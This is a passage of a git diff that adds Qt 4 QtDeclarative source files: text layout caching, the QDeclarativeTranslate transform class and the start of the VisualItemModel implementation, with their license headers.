+ qMemCopy(glyphsDestination, glyphs.constData(), sizeof(glyph_t) * size);
+
+ QFixedPoint *positionsDestination = m_inertText->positions.data() + positionOffset;
+ qMemCopy(positionsDestination, positions.constData(), sizeof(QFixedPoint) * size);
+
+ QChar *charsDestination = m_inertText->chars.data() + charOffset;
+ qMemCopy(charsDestination, ti.chars, sizeof(QChar) * ti.num_chars);
+
+ }
+
+ virtual void drawPolygon(const QPointF *, int , PolygonDrawMode )
+ {
+ /* intentionally empty */
+ }
+
+ virtual bool begin(QPaintDevice *) { return true; }
+ virtual bool end() { return true; }
+ virtual void drawPixmap(const QRectF &, const QPixmap &, const QRectF &) {}
+ virtual Type type() const
+ {
+ return User;
+ }
+
+ void begin(QDeclarativeTextLayoutPrivate *t) {
+ m_inertText = t;
+ m_dirtyPen = false;
+ }
+
+ private:
+ QDeclarativeTextLayoutPrivate *m_inertText;
+
+ bool m_dirtyPen;
+ bool m_useBackendOptimizations;
+ bool m_untransformedCoordinates;
+ QColor m_currentColor;
+};
+
+class DrawTextItemDevice: public QPaintDevice
+{
+ public:
+ DrawTextItemDevice(bool untransformedCoordinates, bool useBackendOptimizations)
+ {
+ m_paintEngine = new DrawTextItemRecorder(untransformedCoordinates,
+ useBackendOptimizations);
+ }
+
+ ~DrawTextItemDevice()
+ {
+ delete m_paintEngine;
+ }
+
+ void begin(QDeclarativeTextLayoutPrivate *t) {
+ m_paintEngine->begin(t);
+ }
+
+ int metric(PaintDeviceMetric m) const
+ {
+ int val;
+ switch (m) {
+ case PdmWidth:
+ case PdmHeight:
+ case PdmWidthMM:
+ case PdmHeightMM:
+ val = 0;
+ break;
+ case PdmDpiX:
+ case PdmPhysicalDpiX:
+ val = qt_defaultDpiX();
+ break;
+ case PdmDpiY:
+ case PdmPhysicalDpiY:
+ val = qt_defaultDpiY();
+ break;
+ case PdmNumColors:
+ val = 16777216;
+ break;
+ case PdmDepth:
+ val = 24;
+ break;
+ default:
+ val = 0;
+ qWarning("DrawTextItemDevice::metric: Invalid metric command");
+ }
+ return val;
+ }
+
+ virtual QPaintEngine *paintEngine() const
+ {
+ return m_paintEngine;
+ }
+
+ private:
+ DrawTextItemRecorder *m_paintEngine;
+};
+
+struct InertTextPainter {
+ InertTextPainter()
+ : device(true, true), painter(&device) {}
+
+ DrawTextItemDevice device;
+ QPainter painter;
+};
+}
+
+Q_GLOBAL_STATIC(InertTextPainter, inertTextPainter);
+
+/*!
+\class QDeclarativeTextLayout
+\brief The QDeclarativeTextLayout class is a version of QStaticText that works with QTextLayouts.
+\internal
+
+This class is basically a copy of the QStaticText code, but it is adapted to source its text from
+QTextLayout.
+
+It is also considerably faster to create a QDeclarativeTextLayout than a QStaticText because it uses
+a single, shared QPainter instance. QStaticText by comparison creates a new QPainter per instance.
+As a consequence this means that QDeclarativeTextLayout is not re-enterant. Adding a lock around
+the shared painter solves this, and only introduces a minor performance penalty, but is unnecessary
+for QDeclarativeTextLayout's current use (QDeclarativeText is already tied to the GUI thread).
+*/
+
+QDeclarativeTextLayout::QDeclarativeTextLayout()
+: d(0)
+{
+}
+
+QDeclarativeTextLayout::QDeclarativeTextLayout(const QString &text)
+: QTextLayout(text), d(0)
+{
+}
+
+QDeclarativeTextLayout::~QDeclarativeTextLayout()
+{
+ if (d) delete d;
+}
+
+void QDeclarativeTextLayout::beginLayout()
+{
+ if (d && d->cached) {
+ d->cached = false;
+ d->items.clear();
+ d->positions.clear();
+ d->glyphs.clear();
+ d->chars.clear();
+ d->position = QPointF();
+ }
+ QTextLayout::beginLayout();
+}
+
+void QDeclarativeTextLayout::clearLayout()
+{
+ if (d && d->cached) {
+ d->cached = false;
+ d->items.clear();
+ d->positions.clear();
+ d->glyphs.clear();
+ d->chars.clear();
+ d->position = QPointF();
+ }
+ QTextLayout::clearLayout();
+}
+
+void QDeclarativeTextLayout::prepare()
+{
+ if (!d || !d->cached) {
+
+ if (!d)
+ d = new QDeclarativeTextLayoutPrivate;
+
+ InertTextPainter *itp = inertTextPainter();
+ itp->device.begin(d);
+ QTextLayout::draw(&itp->painter, QPointF(0, 0));
+
+ glyph_t *glyphPool = d->glyphs.data();
+ QFixedPoint *positionPool = d->positions.data();
+ QChar *charPool = d->chars.data();
+
+ int itemCount = d->items.count();
+ for (int ii = 0; ii < itemCount; ++ii) {
+ QStaticTextItem &item = d->items[ii];
+ item.glyphs = glyphPool + item.glyphOffset;
+ item.glyphPositions = positionPool + item.positionOffset;
+ item.chars = charPool + item.charOffset;
+ }
+
+ d->cached = true;
+ }
+}
+
+// Defined in qpainter.cpp
+extern Q_GUI_EXPORT void qt_draw_decoration_for_glyphs(QPainter *painter, const glyph_t *glyphArray,
+ const QFixedPoint *positions, int glyphCount,
+ QFontEngine *fontEngine, const QFont &font,
+ const QTextCharFormat &charFormat);
+
+void QDeclarativeTextLayout::draw(QPainter *painter, const QPointF &p)
+{
+ QPainterPrivate *priv = QPainterPrivate::get(painter);
+
+ bool paintEngineSupportsTransformations = priv->extended &&
+ (priv->extended->type() == QPaintEngine::OpenGL2 ||
+ priv->extended->type() == QPaintEngine::OpenVG ||
+ priv->extended->type() == QPaintEngine::OpenGL);
+
+ if (!paintEngineSupportsTransformations || !priv->state->matrix.isAffine()) {
+ QTextLayout::draw(painter, p);
+ return;
+ }
+
+ prepare();
+
+ int itemCount = d->items.count();
+
+ if (p != d->position) {
+ QFixed fx = QFixed::fromReal(p.x());
+ QFixed fy = QFixed::fromReal(p.y());
+ QFixed oldX = QFixed::fromReal(d->position.x());
+ QFixed oldY = QFixed::fromReal(d->position.y());
+ for (int item = 0; item < itemCount; ++item) {
+ QStaticTextItem &textItem = d->items[item];
+
+ for (int ii = 0; ii < textItem.numGlyphs; ++ii) {
+ textItem.glyphPositions[ii].x += fx - oldX;
+ textItem.glyphPositions[ii].y += fy - oldY;
+ }
+ textItem.userDataNeedsUpdate = true;
+ }
+
+ d->position = p;
+ }
+
+ QPen oldPen = priv->state->pen;
+ QColor currentColor = oldPen.color();
+ for (int ii = 0; ii < itemCount; ++ii) {
+ QStaticTextItem &item = d->items[ii];
+ if (item.color.isValid() && currentColor != item.color) {
+ painter->setPen(item.color);
+ currentColor = item.color;
+ }
+ priv->extended->drawStaticTextItem(&item);
+
+ qt_draw_decoration_for_glyphs(painter, item.glyphs, item.glyphPositions,
+ item.numGlyphs, item.fontEngine(), painter->font(),
+ QTextCharFormat());
+ }
+ if (currentColor != oldPen.color())
+ painter->setPen(oldPen);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/graphicsitems/qdeclarativetextlayout_p.h b/src/declarative/graphicsitems/qdeclarativetextlayout_p.h
new file mode 100644
index 00000000..791a32b9
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextlayout_p.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXTLAYOUT_P_H
+#define QDECLARATIVETEXTLAYOUT_P_H
+
+#include <QtGui/qtextlayout.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeTextLayoutPrivate;
+class QDeclarativeTextLayout : public QTextLayout
+{
+public:
+ QDeclarativeTextLayout();
+ QDeclarativeTextLayout(const QString &);
+ ~QDeclarativeTextLayout();
+
+ void beginLayout();
+ void clearLayout();
+
+ void prepare();
+ void draw(QPainter *, const QPointF & = QPointF());
+
+private:
+ QDeclarativeTextLayoutPrivate *d;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVETEXTLAYOUT_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativetranslate.cpp b/src/declarative/graphicsitems/qdeclarativetranslate.cpp
new file mode 100644
index 00000000..89513316
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetranslate.cpp
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetranslate_p.h"
+#include <private/qgraphicstransform_p.h>
+#include <QDebug>
+#include <QtCore/qmath.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeTranslatePrivate : public QGraphicsTransformPrivate
+{
+public:
+ QDeclarativeTranslatePrivate()
+ : x(0), y(0) {}
+ qreal x;
+ qreal y;
+};
+
+/*!
+ Constructs an empty QDeclarativeTranslate object with the given \a parent.
+*/
+QDeclarativeTranslate::QDeclarativeTranslate(QObject *parent)
+ : QGraphicsTransform(*new QDeclarativeTranslatePrivate, parent)
+{
+}
+
+/*!
+ Destroys the graphics scale.
+*/
+QDeclarativeTranslate::~QDeclarativeTranslate()
+{
+}
+
+/*!
+ \property QDeclarativeTranslate::x
+ \brief the horizontal translation.
+
+ The translation can be any real number; the default value is 0.0.
+
+ \sa y
+*/
+qreal QDeclarativeTranslate::x() const
+{
+ Q_D(const QDeclarativeTranslate);
+ return d->x;
+}
+void QDeclarativeTranslate::setX(qreal x)
+{
+ Q_D(QDeclarativeTranslate);
+ if (d->x == x)
+ return;
+ d->x = x;
+ update();
+ emit xChanged();
+}
+
+/*!
+ \property QDeclarativeTranslate::y
+ \brief the vertical translation.
+
+ The translation can be any real number; the default value is 0.0.
+
+ \sa x
+*/
+qreal QDeclarativeTranslate::y() const
+{
+ Q_D(const QDeclarativeTranslate);
+ return d->y;
+}
+void QDeclarativeTranslate::setY(qreal y)
+{
+ Q_D(QDeclarativeTranslate);
+ if (d->y == y)
+ return;
+ d->y = y;
+ update();
+ emit yChanged();
+}
+
+void QDeclarativeTranslate::applyTo(QMatrix4x4 *matrix) const
+{
+ Q_D(const QDeclarativeTranslate);
+ matrix->translate(d->x, d->y, 0);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetranslate_p.h b/src/declarative/graphicsitems/qdeclarativetranslate_p.h
new file mode 100644
index 00000000..bf0e6112
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetranslate_p.h
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETRANSLATE_H
+#define QDECLARATIVETRANSLATE_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeTranslatePrivate;
+
+class Q_AUTOTEST_EXPORT QDeclarativeTranslate : public QGraphicsTransform
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged)
+ Q_PROPERTY(qreal y READ y WRITE setY NOTIFY yChanged)
+
+public:
+ QDeclarativeTranslate(QObject *parent = 0);
+ ~QDeclarativeTranslate();
+
+ qreal x() const;
+ void setX(qreal);
+
+ qreal y() const;
+ void setY(qreal);
+
+ void applyTo(QMatrix4x4 *matrix) const;
+
+Q_SIGNALS:
+ void xChanged();
+ void yChanged();
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeTranslate)
+ Q_DISABLE_COPY(QDeclarativeTranslate)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTranslate)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
new file mode 100644
index 00000000..3f71e574
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
@@ -0,0 +1,1425 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativevisualitemmodel_p.h"
+
+#include "qdeclarativeitem.h"
+
+#include <qdeclarativecontext.h>
+#include <qdeclarativecontext_p.h>
+#include <qdeclarativeengine.h>
+#include <qdeclarativeexpression.h>
+#include <qdeclarativepackage_p.h>
+#include <qdeclarativeopenmetaobject_p.h>
+#include <qdeclarativelistaccessor_p.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativedata_p.h>
+#include <qdeclarativepropertycache_p.h>
+#include <qdeclarativeguard_p.h>
+#include <qdeclarativeglobal_p.h>
+
+#include <qgraphicsscene.h>
+#include <qlistmodelinterface_p.h>
+#include <qhash.h>
+#include <qlist.h>
+#include <qmetaobjectbuilder_p.h>
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QHash<QObject*, QDeclarativeVisualItemModelAttached*> QDeclarativeVisualItemModelAttached::attachedProperties;
+
+
+class QDeclarativeVisualItemModelPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeVisualItemModel)
+public:
+ QDeclarativeVisualItemModelPrivate() : QObjectPrivate() {}
+
+ static void children_append(QDeclarativeListProperty<QDeclarativeItem> *prop, QDeclarativeItem *item) {
+ QDeclarative_setParent_noEvent(item, prop->object);
+ static_cast<QDeclarativeVisualItemModelPrivate *>(prop->data)->children.append(Item(item));
+ static_cast<QDeclarativeVisualItemModelPrivate *>(prop->data)->itemAppended();
+ static_cast<QDeclarativeVisualItemModelPrivate *>(prop->data)->emitChildrenChanged();
+ }
+
+ static int children_count(QDeclarativeListProperty<QDeclarativeItem> *prop) {
+ return static_cast<QDeclarativeVisualItemModelPrivate *>(prop->data)->children.count();
+ }
+
+ static QDeclarativeItem *children_at(QDeclarativeListProperty<QDeclarativeItem> *prop, int index) {
+ return static_cast<QDeclarativeVisualItemModelPrivate *>(prop->data)->children.at(index).item;
+ }
+
+ void itemAppended() {
+ Q_Q(QDeclarativeVisualItemModel);
+ QDeclarativeVisualItemModelAttached *attached = QDeclarativeVisualItemModelAttached::properties(children.last().item);
+ attached->setIndex(children.count()-1);
+ emit q->itemsInserted(children.count()-1, 1);
+ emit q->countChanged();
+ }
+
+ void emitChildrenChanged() {
+ Q_Q(QDeclarativeVisualItemModel);
+ emit q->childrenChanged();
+ }
+
+ int indexOf(QDeclarativeItem *item) const {
+ for (int i = 0; i < children.count(); ++i)
+ if (children.at(i).item == item)
+ return i;
+ return -1;
+ }
+
+ class Item {
+ public:
+ Item(QDeclarativeItem *i) : item(i), ref(0) {}
+
+ void addRef() { ++ref; }
+ bool deref() { return --ref == 0; }
+
+ QDeclarativeItem *item;
+ int ref;
+ };
+
+ QList<Item> children;
+};
+
+
+/*!
+ \qmlclass VisualItemModel QDeclarativeVisualItemModel
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The VisualItemModel allows items to be provided to a view.
+
+ A VisualItemModel contains the visual items to be used in a view.
+ When a VisualItemModel is used in a view, the view does not require
+ a delegate since the VisualItemModel already contains the visual
+ delegate (items).
+
+ An item can determine its index within the
+ model via the \l{VisualItemModel::index}{index} attached property.
+
+ The example below places three colored rectangles in a ListView.
+ \code
+ import QtQuick 1.0
+
+ Rectangle {
+ VisualItemModel {
+ id: itemModel
+ Rectangle { height: 30; width: 80; color: "red" }
+ Rectangle { height: 30; width: 80; color: "green" }
+ Rectangle { height: 30; width: 80; color: "blue" }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: itemModel
+ }
+ }
+ \endcode
+
+ \image visualitemmodel.png
+
+ \sa {declarative/modelviews/visualitemmodel}{VisualItemModel example}
+*/
+QDeclarativeVisualItemModel::QDeclarativeVisualItemModel(QObject *parent)
+ : QDeclarativeVisualModel(*(new QDeclarativeVisualItemModelPrivate), parent)
+{
+}
+
+/*!
+ \qmlattachedproperty int VisualItemModel::index
+ This attached property holds the index of this delegate's item within the model.
+
+ It is attached to each instance of the delegate.
+*/
+
+QDeclarativeListProperty<QDeclarativeItem> QDeclarativeVisualItemModel::children()
+{
+ Q_D(QDeclarativeVisualItemModel);
+ return QDeclarativeListProperty<QDeclarativeItem>(this, d, d->children_append,
+ d->children_count, d->children_at);
+}
+
+/*!
+ \qmlproperty int VisualItemModel::count
+
+ The number of items in the model. This property is readonly.
+*/
+int QDeclarativeVisualItemModel::count() const
+{
+ Q_D(const QDeclarativeVisualItemModel);
+ return d->children.count();
+}
+
+bool QDeclarativeVisualItemModel::isValid() const
+{
+ return true;
+}
+
+QDeclarativeItem *QDeclarativeVisualItemModel::item(int index, bool)
+{
+ Q_D(QDeclarativeVisualItemModel);
+ QDeclarativeVisualItemModelPrivate::Item &item = d->children[index];
+ item.addRef();
+ return item.item;
+}
+
+QDeclarativeVisualModel::ReleaseFlags QDeclarativeVisualItemModel::release(QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeVisualItemModel);
+ int idx = d->indexOf(item);
+ if (idx >= 0) {
+ if (d->children[idx].deref()) {
+ if (item->scene())
+ item->scene()->removeItem(item);
+ QDeclarative_setParent_noEvent(item, this);
+ }
+ }
+ return 0;
+}
+
+bool QDeclarativeVisualItemModel::completePending() const
+{
+ return false;
+}
+
+void QDeclarativeVisualItemModel::completeItem()
+{
+ // Nothing to do
+}
+
+QString QDeclarativeVisualItemModel::stringValue(int index, const QString &name)
+{
+ Q_D(QDeclarativeVisualItemModel);
+ if (index < 0 || index >= d->children.count())
+ return QString();
+ return QDeclarativeEngine::contextForObject(d->children.at(index).item)->contextProperty(name).toString();
+}
+
+int QDeclarativeVisualItemModel::indexOf(QDeclarativeItem *item, QObject *) const
+{
+ Q_D(const QDeclarativeVisualItemModel);
+ return d->indexOf(item);
+}
+
+QDeclarativeVisualItemModelAttached *QDeclarativeVisualItemModel::qmlAttachedProperties(QObject *obj)
+{
+ return QDeclarativeVisualItemModelAttached::properties(obj);
+}
+
+//============================================================================
+
+class VDMDelegateDataType : public QDeclarativeOpenMetaObjectType
+{
+public:
+ VDMDelegateDataType(const QMetaObject *base, QDeclarativeEngine *engine) : QDeclarativeOpenMetaObjectType(base, engine) {}
+
+ void propertyCreated(int, QMetaPropertyBuilder &prop) {
+ prop.setWritable(false);
+ }
+};
+
+class QDeclarativeVisualDataModelParts;
+class QDeclarativeVisualDataModelData;
+class QDeclarativeVisualDataModelPrivate : public QObjectPrivate
+{
+public:
+ QDeclarativeVisualDataModelPrivate(QDeclarativeContext *);
+
+ static QDeclarativeVisualDataModelPrivate *get(QDeclarativeVisualDataModel *m) {
+ return static_cast<QDeclarativeVisualDataModelPrivate *>(QObjectPrivate::get(m));
+ }
+
+ QDeclarativeGuard<QListModelInterface> m_listModelInterface;
+ QDeclarativeGuard<QAbstractItemModel> m_abstractItemModel;
+ QDeclarativeGuard<QDeclarativeVisualDataModel> m_visualItemModel;
+ QString m_part;
+
+ QDeclarativeComponent *m_delegate;
+ QDeclarativeGuard<QDeclarativeContext> m_context;
+ QList<int> m_roles;
+ QHash<QByteArray,int> m_roleNames;
+ void ensureRoles() {
+ if (m_roleNames.isEmpty()) {
+ if (m_listModelInterface) {
+ m_roles = m_listModelInterface->roles();
+ for (int ii = 0; ii < m_roles.count(); ++ii)
+ m_roleNames.insert(m_listModelInterface->toString(m_roles.at(ii)).toUtf8(), m_roles.at(ii));
+ } else if (m_abstractItemModel) {
+ for (QHash<int,QByteArray>::const_iterator it = m_abstractItemModel->roleNames().begin();
+ it != m_abstractItemModel->roleNames().end(); ++it) {
+ m_roles.append(it.key());
+ m_roleNames.insert(*it, it.key());
+ }
+ if (m_roles.count())
+ m_roleNames.insert("hasModelChildren", -1);
+ } else if (m_listAccessor) {
+ m_roleNames.insert("modelData", 0);
+ if (m_listAccessor->type() == QDeclarativeListAccessor::Instance) {
+ if (QObject *object = m_listAccessor->at(0).value<QObject*>()) {
+ int count = object->metaObject()->propertyCount();
+ for (int ii = 1; ii < count; ++ii) {
+ const QMetaProperty &prop = object->metaObject()->property(ii);
+ m_roleNames.insert(prop.name(), 0);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ QHash<int,int> m_roleToPropId;
+ int m_modelDataPropId;
+ void createMetaData() {
+ if (!m_metaDataCreated) {
+ ensureRoles();
+ if (m_roleNames.count()) {
+ QHash<QByteArray, int>::const_iterator it = m_roleNames.begin();
+ while (it != m_roleNames.end()) {
+ int propId = m_delegateDataType->createProperty(it.key()) - m_delegateDataType->propertyOffset();
+ m_roleToPropId.insert(*it, propId);
+ ++it;
+ }
+ // Add modelData property
+ if (m_roles.count() == 1)
+ m_modelDataPropId = m_delegateDataType->createProperty("modelData") - m_delegateDataType->propertyOffset();
+ m_metaDataCreated = true;
+ }
+ }
+ }
+
+ struct ObjectRef {
+ ObjectRef(QObject *object=0) : obj(object), ref(1) {}
+ QObject *obj;
+ int ref;
+ };
+ class Cache : public QHash<int, ObjectRef> {
+ public:
+ QObject *getItem(int index) {
+ QObject *item = 0;
+ QHash<int,ObjectRef>::iterator it = find(index);
+ if (it != end()) {
+ (*it).ref++;
+ item = (*it).obj;
+ }
+ return item;
+ }
+ QObject *item(int index) {
+ QObject *item = 0;
+ QHash<int, ObjectRef>::const_iterator it = find(index);
+ if (it != end())
+ item = (*it).obj;
+ return item;
+ }
+ void insertItem(int index, QObject *obj) {
+ insert(index, ObjectRef(obj));
+ }
+ bool releaseItem(QObject *obj) {
+ QHash<int, ObjectRef>::iterator it = begin();
+ for (; it != end(); ++it) {
+ ObjectRef &objRef = *it;
+ if (objRef.obj == obj) {
+ if (--objRef.ref == 0) {
+ erase(it);
+ return true;
+ }
+ break;
+ }
+ }
+ return false;
+ }
+ };
+
+ int modelCount() const {
+ if (m_visualItemModel)
+ return m_visualItemModel->count();
+ if (m_listModelInterface)
+ return m_listModelInterface->count();
+ if (m_abstractItemModel)
+ return m_abstractItemModel->rowCount(m_root);
+ if (m_listAccessor)
+ return m_listAccessor->count();
+ return 0;
+ }
+
+ Cache m_cache;
+ QHash<QObject *, QDeclarativePackage*> m_packaged;
+
+ QDeclarativeVisualDataModelParts *m_parts;
+ friend class QDeclarativeVisualItemParts;
+
+ VDMDelegateDataType *m_delegateDataType;
+ friend class QDeclarativeVisualDataModelData;
+ bool m_metaDataCreated : 1;
+ bool m_metaDataCacheable : 1;
+ bool m_delegateValidated : 1;
+ bool m_completePending : 1;
+
+ QDeclarativeVisualDataModelData *data(QObject *item);
+
+ QVariant m_modelVariant;
+ QDeclarativeListAccessor *m_listAccessor;
+
+ QModelIndex m_root;
+ QList<QByteArray> watchedRoles;
+ QList<int> watchedRoleIds;
+};
+
+class QDeclarativeVisualDataModelDataMetaObject : public QDeclarativeOpenMetaObject
+{
+public:
+ QDeclarativeVisualDataModelDataMetaObject(QObject *parent, QDeclarativeOpenMetaObjectType *type)
+ : QDeclarativeOpenMetaObject(parent, type) {}
+
+ virtual QVariant initialValue(int);
+ virtual int createProperty(const char *, const char *);
+
+private:
+ friend class QDeclarativeVisualDataModelData;
+};
+
+class QDeclarativeVisualDataModelData : public QObject
+{
+Q_OBJECT
+public:
+ QDeclarativeVisualDataModelData(int index, QDeclarativeVisualDataModel *model);
+ ~QDeclarativeVisualDataModelData();
+
+ Q_PROPERTY(int index READ index NOTIFY indexChanged)
+ int index() const;
+ void setIndex(int index);
+
+ int propForRole(int) const;
+ int modelDataPropertyId() const {
+ QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(m_model);
+ return model->m_modelDataPropId;
+ }
+
+ void setValue(int, const QVariant &);
+ bool hasValue(int id) const {
+ return m_meta->hasValue(id);
+ }
+
+ void ensureProperties();
+
+Q_SIGNALS:
+ void indexChanged();
+
+private:
+ friend class QDeclarativeVisualDataModelDataMetaObject;
+ int m_index;
+ QDeclarativeGuard<QDeclarativeVisualDataModel> m_model;
+ QDeclarativeVisualDataModelDataMetaObject *m_meta;
+};
+
+int QDeclarativeVisualDataModelData::propForRole(int id) const
+{
+ QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(m_model);
+ QHash<int,int>::const_iterator it = model->m_roleToPropId.find(id);
+ if (it != model->m_roleToPropId.end())
+ return *it;
+
+ return -1;
+}
+
+void QDeclarativeVisualDataModelData::setValue(int id, const QVariant &val)
+{
+ m_meta->setValue(id, val);
+}
+
+int QDeclarativeVisualDataModelDataMetaObject::createProperty(const char *name, const char *type)
+{
+ QDeclarativeVisualDataModelData *data =
+ static_cast<QDeclarativeVisualDataModelData *>(object());
+
+ if (!data->m_model)
+ return -1;
+
+ QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(data->m_model);
+ if (data->m_index < 0 || data->m_index >= model->modelCount())
+ return -1;
+
+ if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) {
+ if (model->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) {
+ model->ensureRoles();
+ if (qstrcmp(name,"modelData") == 0)
+ return QDeclarativeOpenMetaObject::createProperty(name, type);
+ }
+ }
+ return -1;
+}
+
+QVariant QDeclarativeVisualDataModelDataMetaObject::initialValue(int propId)
+{
+ QDeclarativeVisualDataModelData *data =
+ static_cast<QDeclarativeVisualDataModelData *>(object());
+
